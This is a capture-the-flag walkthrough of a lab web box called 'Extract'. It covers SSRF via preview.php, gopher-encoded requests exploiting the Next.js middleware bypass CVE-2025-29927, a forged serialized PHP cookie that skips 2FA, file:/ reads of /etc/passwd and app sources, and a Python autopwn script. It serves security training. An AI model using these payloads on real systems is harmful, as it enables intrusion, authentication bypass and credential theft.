Extract
Can you extract the secrets of the library? - by l000g1c
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and find two open ports: Port 22
with SSH, and the other is port 80
, which has the Apache 2.4.58
web server.

We visit the index page and see a document preview page for PDFs. Nothing special yet.

In the source we see a smal script loads a given PDF into an iframe by passing its URL to preview.php
and then makes the iframe visible.

We continue with a directory scan and we find a management
directory.
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://extract.thm/"

But the Access is denied to http://extract.thm/management

Next, we visit the preview.php
page, recalling the source of the index page. It informs us, that the url param is missing.

SSRF
The preview page with the URL parameter looks very much like a server-side request forgery (SSRF) vulnerability. We are now testing for this.
Detection
We have a Server Side Request Vulnerability in front of us, since we can reach out to our own web server: http://extract.thm/preview.php?url=http://10.14.90.235
.
Since we know we are dealing with a PHP web server we could try to provide a web shell with a simple Python web server, but the SSRF does not leverage to evaluation of the code. If we provide the web shell via a PHP web server it gets evaluated on our machine.

For now, we submit the localhost and see a preview is still possible.
http://extract.thm/preview.php?url=127.0.0.1

Next, we try to reach out to /management
which we had no access before. This reveals us a login page for the TryBookMe page.
http://extract.thm/preview.php?url=127.0.0.1/management
From there we can't just submit anything to the form, unless we can use gopher protocol to leverage GET
and POST
requests in SSRF.

Enumerate Internal Services
But for now, we continue with enumerating internal services. For this we craft a wordlist containing all possible ports.
seq 65535 > ports.txt
And reach out to every possible service using FFuF. We are able to identify a service on port 10000.
ffuf -w ports.txt -u 'http://extract.thm/preview.php?url=127.0.0.1:FUZZ' -fw 1

We reach out to 127.0.0.1:10000
and see that the access is permitted. But There's also a link to the API http://extract.thm/customapi
.
http://extract.thm/preview.php?url=127.0.0.1:10000
http://extract.thm/customapi

We view the source on http://extract.thm/preview.php?url=127.0.0.1:10000
and it looks like a page crafted with NextJS.
< !DOCTYPE html > < html lang = "en" > < head > < meta charSet = "utf-8" / > < meta name = "viewport"
content = "width=device-width, initial-scale=1" / > < link rel = "stylesheet"
href = "/_next/static/css/178989e77b112f7f.css"
crossorigin = ""
data - precedence = "next" / > < link rel = "preload"
as = "script"
fetchPriority = "low"
href = "/_next/static/chunks/webpack-8fc0c21e0210cbd2.js"
crossorigin = "" / > < script src = "/_next/static/chunks/fd9d1056-ffbd49fae2ee76ea.js"
async = ""
crossorigin = "" > < /script><script src="/_next / static / chunks / 472 - 22e55 b21ed910619.js " async="
" crossorigin="
"></script><script src=" / _next / static / chunks / main - app - 321 a014647b5278e.js " async="
" crossorigin="
"></script><title>TryBookMe API</title><meta name="
description " content="
API Service
for TryBookMe "/><script src=" / _next / static / chunks / polyfills - c67a75d1b6f99dc8.js " crossorigin="
" noModule="
"></script></head><body><main style="
max - width: 1000 px;
margin: 0 auto;
padding: 20 px "><header style="
margin - bottom: 20 px "><h1 style="
font - size: 24 px;
font - weight: bold ">TryBookMe</h1><nav style="
margin - top: 10 px "><ul style="
display: flex;
gap: 16 px "><li><a href=" / " style="
color: blue;
text - decoration: underline ">Home</a></li><li><a href=" / customapi " style="
color: blue;
text - decoration: underline ">API</a></li></ul></nav></header><div style="
padding: 2 rem;
max - width: 1200 px;
margin: 0 auto "><div style="
background: #fff8f8;
border: 1 px solid #ffcdd2;
padding: 1.5 rem;
border - radius: 8 px;
margin - top: 2 rem "><h2 style="
font - size: 1.8 rem;
margin - bottom: 1 rem;
color: #d32f2f ">Warning</h2><p style="
font - size: 1.1 rem;
line - height: 1.6 ">Unauthorised access to this system is strictly prohibited.</p></div></div></main><script src=" / _next / static / chunks / webpack - 8 fc0c21e0210cbd2.js " crossorigin="
" async="
"></script><script>(self.__next_f=self.__next_f||[]).push([0]);self.__next_f.push([2,null])</script><script>self.__next_f.push([1,"
1: HL[\"/_next/static/css/178989e77b112f7f.css\",\"style\",{\"crossOrigin\":\"\"}]\n0:\"$L2\"\n"]) < /script><script>self.__next_f.push([1,"3:I[3728,[],\"\"]\n5:I[9928,[],\"\"]\n6:I[6954,[],\"\"]\n7:I[7264,[],\"\"]\n"])</script > < script > self.__next_f.push([1, "2:[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/178989e77b112f7f.css\",\"precedence\":\"next\",\"crossOrigin\":\"\"}]],[\"$\",\"$L3\",null,{\"buildId\":\"k9Pjo5x24QkUE90SdyHNw\",\"assetPrefix\":\"\",\"initialCanonicalUrl\":\"/\",\"initialTree\":[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],\"initialHead\":[false,\"$L4\"],\"globalErrorComponent\":\"$5\",\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"main\",null,{\"style\":{\"maxWidth\":\"1000px\",\"margin\":\"0 auto\",\"padding\":\"20px\"},\"children\":[[\"$\",\"header\",null,{\"style\":{\"marginBottom\":\"20px\"},\"children\":[[\"$\",\"h1\",null,{\"style\":{\"fontSize\":\"24px\",\"fontWeight\":\"bold\"},\"children\":\"TryBookMe\"}],[\"$\",\"nav\",null,{\"style\":{\"marginTop\":\"10px\"},\"children\":[\"$\",\"ul\",null,{\"style\":{\"display\":\"flex\",\"gap\":\"16px\"},\"children\":[[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"Home\"}]}],[\"$\",\"li\",null,{\"children\":[\"$\",\"a\",null,{\"href\":\"/customapi\",\"style\":{\"color\":\"blue\",\"textDecoration\":\"underline\"},\"children\":\"API\"}]}]]}]}]]}],[\"$\",\"$L6\",null,{\"parallelRouterKey\":\"children\",\"segmentPath\":[\"children\"],\"loading\":\"$undefined\",\"loadingStyles\":\"$undefined\",\"loadingScripts\":\"$undefined\",\"hasLoading\":false,\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L7\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":\"404\"}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],\"notFoundStyles\":[],\"childProp\":{\"current\":[\"$L8\",[\"$\",\"div\",null,{\"style\":{\"padding\":\"2rem\",\"maxWidth\":\"1200px\",\"margin\":\"0 auto\"},\"children\":[\"$\",\"div\",null,{\"style\":{\"background\":\"#fff8f8\",\"border\":\"1px solid #ffcdd2\",\"padding\":\"1.5rem\",\"borderRadius\":\"8px\",\"marginTop\":\"2rem\"},\"children\":[[\"$\",\"h2\",null,{\"style\":{\"fontSize\":\"1.8rem\",\"marginBottom\":\"1rem\",\"color\":\"#d32f2f\"},\"children\":\"Warning\"}],[\"$\",\"p\",null,{\"style\":{\"fontSize\":\"1.1rem\",\"lineHeight\":1.6},\"children\":\"Unauthorised access to this system is strictly prohibited.\"}]]}]}],null],\"segment\":\"__PAGE__\"},\"styles\":null}]]}]}]}],null]}]]\n"]) < /script><script>self.__next_f.push([1,"4:[[\"$\",\"meta\",\"0\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"1\",{\"charSet\":\"utf-8\"}],[\"$\",\"title\",\"2\",{\"children\":\"TryBookMe API\"}],[\"$\",\"meta\",\"3\",{\"name\":\"description\",\"content\":\"API Service for TryBookMe\"}]]\n8:null\n"])</script > < script > self.__next_f.push([1, ""]) < /script></body > < /html>
API Access - Authorization Bypass CVE-2025-29927
After some research, we find a recently published CVE on NextJS and an authorization bypass:
This requires us to make a request with a header.
x-middleware-subrequest: middleware
As we have already mentioned some times, we will probably have to use Gopher. A Gopher request is a text-based query sent to a server over TCP port 70 as part of the Gopher protocol.
The request contains a selector string ending with \r\n
, and the server responds with either menus, documents, or binary data.
Although largely obsolete, Gopher requests can be still relevant in security contexts such as SSRF exploitation like we have here.
A small guide on how to use Gopher and crafting own request can be found here:
The following tools might assist us:
We try to use SSRFgopher to craft us a request with the middleware-subrequest
header to bypass the authorization check like explained in CVE-2025-29927.

Neither the single URL encoded payload nor the double URL encoded seems to work. From now on we try to craft them on our own.

gopher://127.0.0.1:10000/_GET%20customapi%20HTTP/1.1%0aHost:%20127.0.0.1%0ax-middleware-subrequest:%20middleware%0a%0a

With the following request without using the header yet, we retrieve a chunked redirect by double URL encoding it manually. Its encoded ny the followin scheme:
double-encode spaces (
%2520
), CR (%250d
), LF (%250a
).Single-encode the forward slash (
%2f
).Not encoded: keywords like
GET
,HTTP/1.1
,Host:
, digits, and colons.
gopher://127.0.0.1:10000/_GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
gopher://127.0.0.1:10000/_GET%2520%2fcustomapi%2520HTTP%2f1.1%250d%250aHost:%2520127.0.0.1:10000%250d%250a

Now we add the header x-middleware-subrequest: middleware:
gopher://127.0.0.1:10000/_GET /customapi HTTP/1.1
Host: 127.0.0.1:10000
x-middleware-subrequest: middleware
With the following double URL encoded request we are able to retrieve the credentials of the user librarian
- recalling the login page at /management
. Furthermore we are able to spot the first flag.
gopher://127.0.0.1:10000/_GET%2520%2fcustomapi%2520HTTP%2f1.1%250d%250aHost:%2520127.0.0.1:10000%250d%250ax-middleware-subrequest:%2520middleware%250d%250a

Management Access
With the obtained credentials, we return back to the /management
page - which was also accessible via the SSRF. We then craft a Gopher GET request and review the page source to identify the POST parameters used by the form. The POST data parameters username
and password
are used.
gopher://127.0.0.1:80/_GET /management/ HTTP/1.1
Host: 127.0.0.1
Connection: close
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%252F%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250A%250D%250A

We could also just inspect the source by our initial SSRF request.
view-source:http://extract.thm/preview.php?url=127.0.0.1/management

We prepare the gopher request, and URL encoded first the last bits of the password.
gopher://127.0.0.1:80/_POST /management/index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Connection: close
username=librarian&password=REDACTED%21%21
Next, we double URL encode the request again with the scheme from before.
gopher://127.0.0.1:80/_POST%20/management/index.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2043%0D%0AConnection:%20close%0D%0A%0D%0Ausername=librarian&password=REDACTED%2521%2521
We receive a redirect to a 2FA page, we see an auth token set in the cookies as well as a PHPSESSID
.
gopher://127.0.0.1:80/_POST%2520%2Fmanagement%2Findex.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%3A%252043%250D%250AConnection%3A%2520close%250D%250A%250D%250Ausername%3Dlibrarian%26password%3DREDACTED%252521%252521

We decode the token, to prepare another gopher request to the 2FA page with the token.

Our next request is prepared with the PHPSESSID
cookie and the auth token:
gopher://127.0.0.1:80/_GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID=ivj52ff1et015t314cibok9lvk; auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}
This time we need three layers of URL encoding. The third layer takes place in the AuthToken cookie to escape the special characters there. If we do not see a redirect, we set the token and PHPSESSID
correctly.
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%2F2fa.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250ACookie%3A%2520PHPSESSID%3D0st3nodd7h85uamu0tok6tci63%3B%2520auth_token%3DO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A0%25253B%25257D%250D%250A%250D%250A

We are not logged in yet, since have not set the validation of the 2FA token: auth_token=O:9:"AuthToken":1:{s:9:"validated";b:0;}
We can set it like the following:
auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}
We prepare the Gopher request and URL Encode the payload like mentioned before:
gopher://127.0.0.1:80/_GET /management/2fa.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID=0st3nodd7h85uamu0tok6tci63; auth_token=O:9:"AuthToken":1:{s:9:"validated";b:1;}
gopher://127.0.0.1:80/_GET%2520%2Fmanagement%2F2fa.php%2520HTTP%2F1.1%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250ACookie%3A%2520PHPSESSID%3D0st3nodd7h85uamu0tok6tci63%3B%2520auth_token%3DO%25253A9%25253A%252522AuthToken%252522%25253A1%25253A%25257Bs%25253A9%25253A%252522validated%252522%25253Bb%25253A1%25253B%25257D%250D%250A%250D%250A
We are logged in an are able to retrieve the final flag:

Unintended
There is an uninteded we overlooked while testing the room. We are also able to leverage the URL parameter to a file inclusion. While file:///
gets filtered, file:/
doesn't and get properly evaluated. In this example we include /etc/passwd
.
http://extract.thm/preview.php?url=file:/etc/passwd

We can inspect the sources of the different pages.
http://extract.thm/preview.php?url=file:/var/www/html/index.php

In /var/www/html/preview.php
we can see the filter that is applied, but not sufficient.
http://extract.thm/preview.php?url=file:/var/www/html/preview.php

We can spot the management page we found using our directory scan. Revealing username and password
. Furthermore the 2fa.php
page.
http://extract.thm/preview.php?url=file:/var/www/html/management/index.php

This 2fa.php
page contains the second flag.
http://extract.thm/preview.php?url=file:/var/www/html/management/2fa.php

AutoPwn by 0day aka Ryan Montgomery
This autopwn script chains multiple SSRF payloads to extract flags automatically. It first bypasses the Next.js middleware to grab the initial flag, then forges a serialized cookie to bypass 2FA and retrieve the second flag. The script is written and sharedd by 0day - Ryan Montgomery! Thank you very much for sharing!
import re
import urllib.parse as up
import requests
R = "http://10.10.21.228/preview.php?url="
F = lambda t: re.findall(r"THM\{[^}]+\}", t)
def send(raw, port=80):
g = "gopher://127.0.0.1:%d/_%s" % (port, up.quote(raw, safe=""))
return requests.get(R + up.quote(g, safe=""), timeout=10).text
# --- Flag 1 (Next.js /customapi bypass) ---
hdr = ":".join(["middleware"] * 7)
raw = (
"GET /customapi HTTP/1.1\r\n"
"Host:127.0.0.1:10000\r\n"
f"X-Middleware-Subrequest:{hdr}\r\n"
"Connection:close\r\n\r\n"
)
flag1 = F(send(raw, 10000))[0]
# --- Flag 2 (login + 2FA bypass) ---
body = up.urlencode({"username": "librarian", "password": "REDACTED!!"})
req = (
"POST /management/ HTTP/1.1\r\n"
"Host:127.0.0.1\r\n"
"Content-Type:application/x-www-form-urlencoded\r\n"
f"Content-Length:{len(body)}\r\n"
"Connection:close\r\n\r\n"
f"{body}"
)
resp = send(req)
sid = re.search(r"PHPSESSID=([^;]+)", resp).group(1)
tok = up.quote('O:9:"AuthToken":1:{s:9:"validated";b:1;}', safe="")
req2 = (
f"GET /management/2fa.php HTTP/1.1\r\n"
f"Host:127.0.0.1\r\n"
f"Cookie:PHPSESSID={sid};auth_token={tok}\r\n"
"Connection:close\r\n\r\n"
)
flag2 = F(send(req2))[0]
# --- Output ---
print("flag1:", flag1)
print("flag2:", flag2)
Last updated
Was this helpful?